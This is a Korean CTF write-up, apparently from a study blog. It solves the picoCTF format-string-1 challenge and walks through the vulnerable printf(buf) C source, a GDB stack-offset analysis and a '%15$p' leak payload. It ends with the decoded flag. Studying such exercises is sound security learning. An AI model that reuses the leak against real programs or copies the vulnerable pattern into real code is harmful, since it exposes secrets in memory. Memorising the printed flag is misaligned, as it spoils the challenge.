문제

문제 파일
풀이
먼저 어떻게 돌아가는지 확인해보자
입력창이 나온다.

아무거나 입력해봤다

format-string-0.c
#include <stdio.h>
int main() {
char buf[1024];
char secret1[64];
char flag[64];
char secret2[64];
// Read in first secret menu item
FILE *fd = fopen("secret-menu-item-1.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-1.txt' file not found, aborting.\n");
return 1;
}
fgets(secret1, 64, fd);
// Read in the flag
fd = fopen("flag.txt", "r");
if (fd == NULL){
printf("'flag.txt' file not found, aborting.\n");
return 1;
}
fgets(flag, 64, fd);
// Read in second secret menu item
fd = fopen("secret-menu-item-2.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-2.txt' file not found, aborting.\n");
return 1;
}
fgets(secret2, 64, fd);
printf("Give me your order and I'll read it back to you:\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
printf("\n");
fflush(stdout);
printf("Bye!\n");
fflush(stdout);
return 0;
}
변수선언.
스택에 buf[1024], secret1[64], flag[64], secret2[64] 순서로 메모리가 할당된다.
secret1, secret2 사이에 flag가 저장되어 있다.

외부 파일에서 secret1, flag, secret2를 읽어와 각각의 변수에 파일 내용을 저장한다.
이 데이터들은 현재 스택 위에 존재한다.

scanf("%1024s", buf)를 통해 사용자로부터 문자열을 입력받는다. buf 크기만큼 입력받는다.

취약점

일반적으로 printf 함수는 printf("%s", buf);와 같이 포맷 스트링을 지정하여 사용해야 한다. 하지만 위 코드처럼 사용자가 입력한 buf를 첫 번째 인자(Format String)로 직접 전달할 경우 보안 문제가 발생한다.
- 사용자가 %p, %x, %s와 같은 포맷 지정자를 입력하면, printf 함수는 이를 명령으로 인식한다.
- printf는 스택의 다음 인자들을 읽어 출력하려고 시도한다. 이를 통해 공격자는 스택의 내용을 임의로 읽거나(Information Leak), 특정 주소에 값을 쓸 수도 있다.
이 취약점을 통해 플래그를 출력시켜보자
익스플로잇
우리는 아직 플래그 파일이 어디 있는지 모르니 실행파일을 디버깅 해보자
gdb로 실행파일 디버깅 하기
1. GDB를 이용한 바이너리 분석 및 중단점 설정
gdb format-string-1
main 함수의 어셈블리 코드를 확인한다. 소스코드의 fgets(flag, 64, fd); 부분이 어셈블리에서 어떻게 구현되었는지 찾는 것이 핵심이다.
disass main
어셈블리 코드에서 fgets 호출 직전의 레지스터 설정을 확인한다.

1. x64 함수 호출 규약 (Calling Convention)

C언어에서 fgets(flag, 64, fd);라는 코드를 작성하면, 컴퓨터(CPU)는 이 함수를 실행하기 위해 각 인자(매개변수)를 약속된 장소에 배치한다. x64 리눅스 환경에서는 다음과 같은 규칙을 따른다.
- 1순위 (RDI 레지스터): 함수의 첫 번째 인자를 담는다.
- 2순위 (RSI 레지스터): 함수의 두 번째 인자를 담는다.
- 3순위 (RDX 레지스터): 함수의 세 번째 인자를 담는다.
즉, fgets가 호출되기 직전의 레지스터 상태는 반드시 아래와 같아야 한다.
- RDI = flag 변수의 메모리 주소
- RSI = 64 (읽어올 크기)
- RDX = fd (파일 포인터)
2. 어셈블리 코드 분석
이제 제시된 어셈블리 코드가 이 규칙을 어떻게 지키고 있는지 보자
1. lea rax, [rbp-0x490] // rbp-0x490 주소 값을 계산해서 rax에 저장해라
2. mov esi, 0x40 // esi(rsi의 하위 32비트)에 0x40(10진수 64)을 넣어라
3. mov rdi, rax //rax에 있던 값을 rdi에 넣어라
4. call 0x4010d0 <fgets@plt> // fgets 함수를 호출해라
- 3번 라인을 보면 rdi에 rax 값을 넣고 있다.
- 그럼 rax에는 무엇이 들어있었나? 1번 라인에서 계산한 rbp-0x490이라는 주소값이 들어있었다.
- 결과적으로 fgets의 첫 번째 인자인 RDI에 rbp-0x490이 전달된 것이다.
따라서 소스코드의 fgets(flag, 64, fd);와 매칭해 보았을 때, flag라는 변수는 메모리 상에서 rbp-0x490 위치에 있는걸 알 수 있다.
3. [rbp-0x490]의 의미
여기서 RBP는 스택 프레임의 기준점(Base Pointer)이다.
- 함수가 실행되면 자기만의 메모리 공간(스택)을 가지게 된다.
- RBP는 그 공간의 '바닥' 혹은 '기준'이다.
- [rbp - 0x490]은 "기준점으로부터 위쪽(낮은 주소 방향)으로 0x490만큼 떨어진 지점"을 뜻한다.
왜 하필 rax를 거쳐서 가나?
보통 메모리 주소를 직접 RDI에 넣기보다, LEA(Load Effective Address) 명령어를 사용해 계산된 주소를 RAX 같은 범용 레지스터에 먼저 담은 뒤 RDI로 옮기는 방식을 컴파일러가 선호하기 때문이다.
2. 디버깅 환경 구축 및 실행
q로 gdb 나오기
바이너리가 정상적으로 실행되어야 메모리 값을 확인할 수 있으므로, 필요한 텍스트 파일들을 생성하자
- secret-menu-item-1.txt
- flag.txt
- secret-menu-item-2.txt
!vi 명령어로 생성하면 된다.

일단 아무 내용도 안 치고 :wq로 저장하고 나오자

중단점 설정하자
b *main+150
실행하자
run
실행로그
Starting program: /home/dada/Interlude_System_Study/format-string-1
Downloading separate debug info for system-supplied DSO at 0x7ffff7fc3000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x000000000040128c in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────[ LAST SIGNAL ]────────────────────────────
Breakpoint hit at 0x40128c
────────[ REGISTERS / show-flags off / show-compact-regs off ]────────
RAX 0x7fffffffd160 ◂— 0
RBX 0x7fffffffd718 —▸ 0x7fffffffd9b1 ◂— '/home/dada/Interlude_System_Study/format-string-1'
RCX 0x7ffff7d1b1a5 (open64+85) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x406490 ◂— 0xfbad2488
RDI 0x7fffffffd160 ◂— 0
RSI 0x40
R8 8
R9 1
R10 0
R11 0x202
R12 1
R13 0
R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x7fffffffd5f0 —▸ 0x7fffffffd690 —▸ 0x7fffffffd6f0 ◂— 0
RSP 0x7fffffffd120 ◂— 9 /* '\t' */
RIP 0x40128c (main+150) ◂— call fgets@plt
─────────────────[ DISASM / x86-64 / set emulate on ]─────────────────
b► 0x40128c <main+150> call fgets@plt <fgets@plt>
s: 0x7fffffffd160 ◂— 0
n: 0x40
stream: 0x406490 ◂— 0xfbad2488
0x401291 <main+155> mov esi, 0x402008 ESI => 0x402008 ◂— 0x7465726365730072 /* 'r' */
0x401296 <main+160> mov edi, 0x40208d EDI => 0x40208d ◂— 'secret-menu-item-2.txt'
0x40129b <main+165> call fopen@plt <fopen@plt>
0x4012a0 <main+170> mov qword ptr [rbp - 8], rax
0x4012a4 <main+174> cmp qword ptr [rbp - 8], 0
0x4012a9 <main+179> jne main+201 <main+201>
0x4012ab <main+181> mov edi, 0x4020a8 EDI => 0x4020a8 ◂— "'secret-menu-item-2.txt' file not found, aborting...."
0x4012b0 <main+186> call puts@plt <puts@plt>
0x4012b5 <main+191> mov eax, 1 EAX => 1
0x4012ba <main+196> jmp main+365 <main+365>
──────────────────────────────[ STACK ]───────────────────────────────
00:0000│ rsp 0x7fffffffd120 ◂— 9 /* '\t' */
01:0008│-4c8 0x7fffffffd128 ◂— 0
02:0010│-4c0 0x7fffffffd130 ◂— 0
03:0018│-4b8 0x7fffffffd138 —▸ 0x7ffff7ffdab0 (_rtld_global+2736) —▸ 0x7ffff7fc5000 ◂— 0x3010102464c457f
04:0020│-4b0 0x7fffffffd140 ◂— 0x7fff3de00ec7
05:0028│-4a8 0x7fffffffd148 —▸ 0x7ffff7ff39d7 ◂— 0x636f6c6c616572 /* 'realloc' */
06:0030│-4a0 0x7fffffffd150 ◂— 4
07:0038│-498 0x7fffffffd158 ◂— 0
────────────────────────────[ BACKTRACE ]─────────────────────────────
► 0 0x40128c main+150
1 0x7ffff7c2a1ca __libc_start_call_main+122
2 0x7ffff7c2a28b __libc_start_main+139
3 0x401135 _start+37
──────────────────────────────────────────────────────────────────────
1. 레지스터 분석 (현재 위치 파악)
현재 중단점(main+150)에서 멈춘 상태다.
- RAX (Flag 주소): 0x7fffffffd160 (fgets의 첫 번째 인자로 사용됨)
- RSP (Stack Pointer): 0x7fffffffd120 (현재 스택의 꼭대기)
- RBP (Base Pointer): 0x7fffffffd5f0 (현재 스택 프레임의 기준점)
2. 거리(Offset) 계산하기
우리는 "출력 시점(RSP)으로부터 Flag가 있는 곳까지 몇 칸(8바이트 단위) 떨어져 있는가?"를 알아야 한다.
- 바이트 차이: RAX(Flag) - RSP = 0x7fffffffd160 - 0x7fffffffd120 = 0x40
- 10진수 변환: 0x40은 10진수로 64다.
- 스택 칸수 계산: x64에서는 한 인자가 8바이트이므로, 64 / 8 = 8칸 차이가 난다.
3. 포맷 스트링 인덱스(n) 결정
x64의 printf는 인자를 다음과 같이 읽는다.
- 1~6번째 인자: 레지스터(RDI, RSI, RDX, RCX, R8, R9)에서 가져옴.
- 7번째 인자부터: RSP가 가리키는 곳(스택)에서부터 순서대로 가져옴.
따라서:
- RSP 지점 = 7번째 인자
- RSP + 8바이트 = 8번째 인자
- ...
- RSP + 64바이트 (우리 Flag 위치) = 7 + 8 = 15번째 인자

최종 익스플로잇 시도
%15$p.%16$p.%17$p.%18$p.%19$p

출력결과
0x355f31346d316e34.0x3478345f33317937.0x65355f673431665f.0x7d346263623736.0x7
성공적으로 데이터를 뽑아냈다. 출력된 16진수 값들이 바로 우리가 찾던 flag의 조각들이다.
다만, 이 값들은 컴퓨터가 메모리에 저장하는 방식인 리틀 엔디언(Little-Endian) 때문에 글자들이 뒤집혀 있고, 16진수(Hex) 형태로 표현되어 있다.
이제 이 값들을 사람이 읽을 수 있는 문자열로 변환하고 합치는 과정을 진행해야 한다.
CyberChef로 변환하자
1. 출력값 정리 및 16진수 변환
추출된 값들을 하나씩 살펴보고, 각 블록을 문자로 변환해 보자.
(15번째부터 시작했으므로 그 앞의 picoCTF{ 부분은 14번째에 있었을 가능성이 높다. 일단 나온 값들부터 변환한다.)
- 0x355f31346d316e34 → 5_14m1n4
- 0x3478345f33317937 → 4x4_31y7
- 0x65355f673431665f → e5_g41f_
- 0x7d346263623736 → }4bcb76 (맨 앞 00이 생략된 형태)
2. 리틀 엔디언(Little-Endian) 뒤집기
x64 시스템은 데이터를 거꾸로 저장하므로, 각 8바이트 블록 안의 글자들을 다시 뒤집어야 한다.
- 5_14m1n4 → 뒤집으면 → 4n1m41_5
- 4x4_31y7 → 뒤집으면 → 7y13_4x4
- e5_g41f_ → 뒤집으면 → _f14g_5e
- }4bcb76 → 뒤집으면 → 67bcb4}
3. 전체 문자열 합치기
위에서 뒤집은 문자열들을 순서대로 이어 붙이면 플래그의 뒷부분이 완성된다.
4n1m41_5 + 7y13_4x4 + _f14g_5e + 67bcb4} = 4n1m41_57y13_4x4_f14g_5e67bcb4}
우리가 처음에 %14$p를 빼먹고 %15$p부터 입력했기 때문에 앞부분인 picoCTF{가 생략되었다. (14번째 인자인 0x7b4654436f636970를 변환하면 picoCTF{가 된다.)
플래그
picoCTF{4n1m41_57y13_4x4_f14g_5e67bcb4}
정답이다

'System Hacking > 인터루드 스터디' 카테고리의 다른 글
| 260521 보호기법, 링크 개념정리 (0) | 2026.05.27 |
|---|---|
| 260521 [Dreamhack] basic_exploitation_002 (0) | 2026.05.21 |
| 260514 [picoCTF] format string 0 (0) | 2026.05.14 |
| [picoCTF] buffer overflow 2 (0) | 2026.04.02 |
| [picoCTF] buffer overflow 1 (0) | 2026.04.02 |